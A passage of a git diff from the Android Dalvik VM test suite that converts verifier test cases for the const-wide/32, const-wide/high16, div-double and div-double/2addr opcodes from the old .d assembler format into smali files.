-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide/32 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali
new file mode 100644
index 0000000..b01c5a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_3.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/32 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d
deleted file mode 100644
index afae8dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_4.java
-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide/32 v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali
new file mode 100644
index 0000000..3cdbe7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_4.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/32 v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali
new file mode 100644
index 0000000..f5d54de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 255
+
+    const-wide/high16 v252, 0x1234000000000000L
+
+    return-wide v252
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali
new file mode 100644
index 0000000..b463b42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide/high16 p1, 0x1234000000000000L
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali
new file mode 100644
index 0000000..d0336d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    const-wide/high16 v1, 0x1234000000000000L
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d
deleted file mode 100644
index 359ec34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_1.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali
new file mode 100644
index 0000000..e9f667b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_1.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali
new file mode 100644
index 0000000..06927bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_double/d/T_div_double_2;
+.super Ljava/lang/Object;
+.source "T_div_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    div-double v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d
deleted file mode 100644
index 02d7929..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_3.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)D
-.limit regs 14
-
-       div-double v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali
new file mode 100644
index 0000000..fe67afa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_3.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d
deleted file mode 100644
index 411b01a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_4.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v9, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali
new file mode 100644
index 0000000..bbb5346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_4.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v9, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d
deleted file mode 100644
index 2675538..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_5.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali
new file mode 100644
index 0000000..4318103
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_5.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v14
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d
deleted file mode 100644
index 9ef0732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_6.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 14
-       move v0, v12
-       move v1, v12
-       move v2, v13
-       move v3, v13
-       div-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali
new file mode 100644
index 0000000..a00da1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_6.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d
deleted file mode 100644
index 541526e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_1.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali
new file mode 100644
index 0000000..f9af912
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali
new file mode 100644
index 0000000..e65b95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_div_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 14
+
+    const v0, 0x40490e56    # 3.1415f
+
+    div-double/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d
deleted file mode 100644
index 840ea8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_3.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)D
-.limit regs 14
-
-       div-double/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali
new file mode 100644
index 0000000..b7f5773
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+
